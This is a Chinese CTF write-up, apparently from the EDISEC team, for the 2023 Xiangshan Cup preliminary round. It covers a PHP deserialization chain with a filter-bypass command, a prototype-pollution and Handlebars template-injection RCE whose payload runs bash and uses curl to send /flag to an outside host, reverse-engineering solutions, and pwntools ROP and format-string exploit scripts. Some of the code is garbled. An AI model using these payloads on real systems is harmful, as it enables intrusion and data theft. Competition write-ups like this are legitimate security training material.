EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的师傅请联系邮箱root@edisec.net、[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
1
知识点:反序列化链构造+rce绕过
Welcome::__destruct → H4ck3r::__toString → G00d::__invoke
error_reporting(
0
);
class
Welcome
{
//入口
public
$name;
//name="A_G00d_H4ck3r";
public
$arg =
'welcome'
;
//arg=new H4ck3r();
public
function
__construct
()
{
$this
->name =
'Wh0 4m I?'
;
}
public
function
__destruct
()
{
echo
$name;
if
(
$this
->name ==
'A_G00d_H4ck3r'
){
echo
$this
->arg;
//触发H4ck3r::__toString
}
}
}
class
G00d
{
public
$shell;
public
$cmd;
public
function
__invoke
()
{
$shell =
$this
->shell;
$cmd =
$this
->cmd;
if
(preg_match(
'/f|l|a|g|*|?/i'
, $cmd)){
die
(
"U R A BAD GUY"
);
}
eval
($shell($cmd));
}
}
class
H4ck3r
{
public
$func;
//func=new G00d();
public
function
__toString
()
{
$function =
$this
->func;
$function();
//触发G00d::__invoke
}
}
if
(
isset
($_GET[
'data'
]))
unserialize($_GET[
'data'
]);
else
highlight_file(
__FILE__
);
先dir /看到flag在/f1ag
rce绕过:
more+/[
1-z
]1[
1-z
][
1-z
]
error_reporting(
0
);
class
Welcome
{
//入口
public
$name;
//name="A_G00d_H4ck3r";
public
$arg =
'welcome'
;
//arg=new H4ck3r();
public
function
__construct
()
{
//绕过__construct
}
public
function
__destruct
()
{}
}
class
G00d
{
public
$shell;
public
$cmd;
public
function
__invoke
()
{}
}
class
H4ck3r
{
public
$func;
//func=new G00d();
public
function
__toString
()
{}
}
$a =
new
Welcome();
$a->name=
"A_G00d_H4ck3r"
;
$a->arg=
new
H4ck3r();
$a->arg->func=
new
G00d();
$a->arg->func->shell=
"system"
;
$a->arg->func->cmd=
"more+/[1-z]1[1-z][1-z]"
;
echo
(serialize($a));
2
下载源码分析,有如下几个路由。功能有:注册、登陆、发布文章和设置风格(style)
根据传参可知,基本都需要登陆认证后才能访问,其中/style路由需要admin权限。
通过yarn audit可知以下两个模块的版本有漏洞,其中Collection.js存在原型链污染
通过搜索全文,只有如下位置使用了Collection.js,同时符合原型链污染条件。
参考:https:
//security.snyk.io/vuln/SNYK-JS-COLLECTIONJS-3185148
既然存在原型链污染,那么就可以把req.session.user进行污染来登陆admin。
POST
/login
HTTP/1.1
Host
: 127.0.0.1:5001
Content-Length
: 115
Connection
: close
Content-Type
: application/json;charset=UTF-8
{
"username"
:
"123"
,
"password"
:
"123"
,
"submit"
:[{
"__proto__"
:{
"user"
:{
"id"
:
1
,
"username"
:
"admin"
,
"style"
:
"xxx"
}}},
"1"
]}
需要admin权限的路由是/style,因此重点关注一下有什么问题
当请求posts时,这里存在安全问题:
style: handlebars.compile(style ??
''
)()
存在模板注入
参考:https:
//security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767
但是当前题目环境的版本做了修复,主要修复思路应该是把危险助手函数禁用,翻文档发现可以通过设置运行时参数allowedProtoMethods来启用相关函数,
参考:https:
//www.handlebarsjs.cn/api-reference/runtime-options.html
https:
/
/github.com/handlebars
-lang/handlebars.js/blob/
1
fc4ef09c1ac0ffb4c0f88ca685f44d1e0f32f89/lib/handlebars/internal/proto-access.js
#L28
参照:https:
//security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767
{{
#with (__lookupGetter__ "__proto__")}}
{{
#with (./constructor.getOwnPropertyDescriptor . "valueOf")}}
{{
#with ../constructor.prototype}}
{{../../constructor.defineProperty .
"hasOwnProperty"
..}}
{{/
with
}}
{{/
with
}}
{{/
with
}}
{{
#with "constructor"}}
{{
#with split}}
{{pop (push
"alert('Vulnerable Handlebars JS when compiling in strict mode');"
)}}
{{
#with .}}
{{
#with (concat (lookup join (slice 0 1)))}}
{{
#each (slice 2 3)}}
{{
#with (apply 0 ../..)}}
{{.}}
{{/
with
}}
{{/each}}
{{/
with
}}
{{/
with
}}
{{/
with
}}
{{/
with
}}
getflag
设置style
POST
/style
HTTP/1.1
Host
: 39.106.48.123:13049
Content-Length
: 950
Cache-Control
: max-age=0
sec-ch-ua
:
sec-ch-ua-mobile
: ?0
sec-ch-ua-platform
: ""
Upgrade-Insecure-Requests
: 1
Origin
: http://127.0.0.1:5001
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site
: same-origin
Sec-Fetch-Mode
: navigate
Sec-Fetch-User
: ?1
Sec-Fetch-Dest
: document
Referer
: http://127.0.0.1:5001/login
Accept-Encoding
: gzip, deflate
Accept-Language
: en-US,en;q=0.9
Connection
: close
Content-Type
: application/json;charset=UTF-8
{
"submit"
:[{
"__proto__"
:{
"user"
:{
"id"
:
"c23d123d-e123-444e-a69f-9e69b285473e"
,
"username"
:
"admin"
},
"allowedProtoMethods"
:{
"split"
:
true
,
"__lookupGetter__"
:
true
,
"valueOf"
:
true
}}},
"1"
],
"style"
:
"{{#with (__lookupGetter__ "__proto__")}} {{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} {{#with ../constructor.prototype}} {{../../constructor.defineProperty . "hasOwnProperty" ..}} {{/with}} {{/with}} {{/with}} {{#with "constructor"}} {{#with split}} {{pop (push "eval('process.binding(\'spawn_sync\').spawn({file:\'/bin/bash\',args: [\'/bin/bash\',\'-c\',\'curl http://x.x.x.x:4041/`cat /flag`\'],stdio: [{type:\'pipe\',readable:!0,writable:!1},{type:\'pipe\',readable:!1,writable:!0},{type:\'pipe\',readable:!1,writable:!0}]});');")}} {{#with .}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../..)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}"
}
以admin用户随意新建一篇post,然后访问这篇post就可以触发rce,例如:http://127.0.0.1:5001/posts/1312
vps的httplog就能接收到flag。
1
base64+凯撒解密
flag{we1c0m3_2_Ctf}
1
ida打开,发现exe文件产生了第二个文件,动态调试,得到产生文件的路径
然后运行一下exe文件,在对应C盘的目录下找到产生的.tmp文件,动态调试,取Block数据。
逻辑就是先减30,再base64解密。
flag{
6469616e-6369
-626f
-7169
-746170617761
}
2
apk程序,在assets文件夹中发现相关py文件。
void
btea
(
uint32_t
*v,
int
n,
uint32_t
const
key[
4
])
{
uint32_t
y, z, sum;
unsigned
p, rounds, e;
if
(n >
1
)
/* Coding Part */
{
rounds =
6
+
52
/n;
sum =
0
;
z = v[n
-1
];
do
{
sum += DELTA;
e = (sum >>
2
) &
3
;
for
(p=
0
; p<n
-1
; p++)
{
y = v
;
z = v
+= MX;
}
y = v[
0
];
z = v[n
-1
] += MX;
}
while
(--rounds);
}
else
if
(n <
-1
)
/* Decoding Part */
{
n = -n;
rounds =
6
+
52
/n;
sum = rounds*DELTA;
y = v[
0
];
do
{
e = (sum >>
2
) &
3
;
for
(p=n
-1
; p>
0
; p--)
{
z = v
;
y = v
-= MX;
}
z = v[n
-1
];
y = v[
0
] -= MX;
sum -= DELTA;
}
while
(--rounds);
}
}
int
main
()
{
uint32_t
v[
9
]= {
689085350
,
626885696
,
1894439255
,
1204672445
,
1869189675
,
475967424
,
1932042439
,
1280104741
,
2808893494
};
uint32_t
const
k[
4
]= {
12345678
,
12398712
,
91283904
,
12378192
};
int
n=
9
;
btea(v, -n, k);
for
(
int
i=
0
;i<
9
;i ++){
printf
(
"%c"
,v[i] &
0xff
);
printf
(
"%c"
,v[i] >>
8
&
0xff
);
printf
(
"%c"
,v[i] >>
16
&
0xff
);
printf
(
"%c"
,v[i] >>
24
&
0xff
);
}
printf
(
"n"
);
return
0
;
}
flag{c1f8ace6-4b46-4931-b25b-a1010a89c592}
1
栈迁移,泄露libc为2.27-3ubuntu1.6_amd64
或者2.27-3ubuntu1.5_amd64,sh可以取字符串“i can give you some cash”。
from
pwn
import
*
#from LibcSearcher import *
context(os=
'linux'
, arch=
'amd64'
, log_level=
'debug'
)
#context.terminal = ['tmux','splitw','-h']
filename =
'./pwn'
debug =
0
ip =
'59.110.231.185'
port =
37149
if
debug:
p = process(filename)
else
:
p = remote(ip,port)
ru =
lambda
a: p.recvuntil(a)
r =
lambda
n: p.recv(n)
sla =
lambda
a,b: p.sendlineafter(a,b)
sa =
lambda
a,b: p.sendafter(a,b)
sl =
lambda
a: p.sendline(a)
s =
lambda
a: p.send(a)
l32 =
lambda
:u32(p.recvuntil(
b'xf7'
)[
-4
:].ljust(
4
,
b'x00'
))
l64 =
lambda
:u64(p.recvuntil(
b'x7f'
)[
-6
:].ljust(
8
,
b'x00'
))
uu32 =
lambda
:u32(p.recv(
4
).ljust(
4
,
b'x00'
))
uu64 =
lambda
:u64(p.recv(
6
).ljust(
8
,
b'x00'
))
int16 =
lambda
data :int(data,
16
)
lg =
lambda
s, num :p.success(
'%s -> 0x%x'
% (s, num))
def
inter
()
:
p.interactive()
def
debu
(cmd=
''
)
:
gdb.attach(p,cmd)
pause()
def
get_addr
()
:
return
u64(p.recvuntil(
b'x7f'
)[
-6
:].ljust(
8
,
b'x00'
))
def
get_sysbin
(libc_base,libc)
:
return
libc_base + libc.sym[
'system'
], libc_base + next(libc.search(
b'/bin/shx00'
))
def
csu
(rdi, rsi, rdx, rip, gadget)
:
return
p64(gadget) + p64(
0
) + p64(
1
) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget -
0x1a
)
shellcode = p64(
0x401353
)+p64(
0x404020
)+p64(
0x401080
)+p64(
0x401264
)
sa(
b'again!n'
,shellcode)
sa(
b'number'
,p32(
0x12345678
))
payload =
b'a'
*
0x30
+p64(
0x4050A0
-0x8
)+p64(
0x40124b
)
#debu('b *0x401264')
sa(
b'TaiCooLa'
,payload)
leak = get_addr()
print(
"write addr : "
,hex(leak))
system_addr = leak
-0xc0cd0
print(
"system addr : "
,hex(system_addr))
shellcode = p64(
0x401353
)+p64(
0x402027
)+p64(system_addr)
#shellcode = b'a'*0x20
#debu('b *0x401264')
sa(
b'again!n'
,shellcode)
inter(
2
先泄露ELF 基地址,格式化字符串泄露canary,最后栈溢出构造ROP使得system(”/bin/sh”)。
from pwn import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['tmux','splitw','-h']
filename = ''
debug = 0
ip = '59.110.125.41'
port = 37172
if debug:
p = process(filename)
else:
p = remote(ip,port)
ru = lambda a: p.recvuntil(a)
r = lambda n: p.recv(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
l32 = lambda :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))
l64 = lambda :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num :p.success('%s -> 0x%x' % (s, num))
def inter() : p.interactive()
def debu(cmd=''):
gdb.attach(p,cmd)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_sysbin(libc_base,libc):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
def csu(rdi, rsi, rdx, rip, gadget) :
return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
sla(b'> ',b'0')
ru(b'0x')
base=int(r(12),16)-0x68b0
pop_rdi=base+0x3f8f
payload = b'%X.'*0x11+b'%s.'+b'%p.'*0xe
payload += b'a'*8+p64(base+0x16250)
sl(payload)
addr = ru(b'a'*8).split(b'.')
read_addr = u64(addr[17]+b'x00x00')
libc_base=read_addr-0x132030
sh_addr=libc_base+0x1B3D88
pop_rdx_rsi=libc_base+0x130539
pop_rax=libc_base+0x1b500
syscall=libc_base+0x2743
payload=b'a'*0x108+p64(int(addr[0x1f],16))+p64(0)
payload+=p64(pop_rdx_rsi)+p64(0)*2
payload+=p64(pop_rdi)+p64(sh_addr)
payload+=p64(pop_rax)+p64(0x3b)
payload+=p64(syscall)
sl(payload)
inter()
原文始发于微信公众号(EDI安全):2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论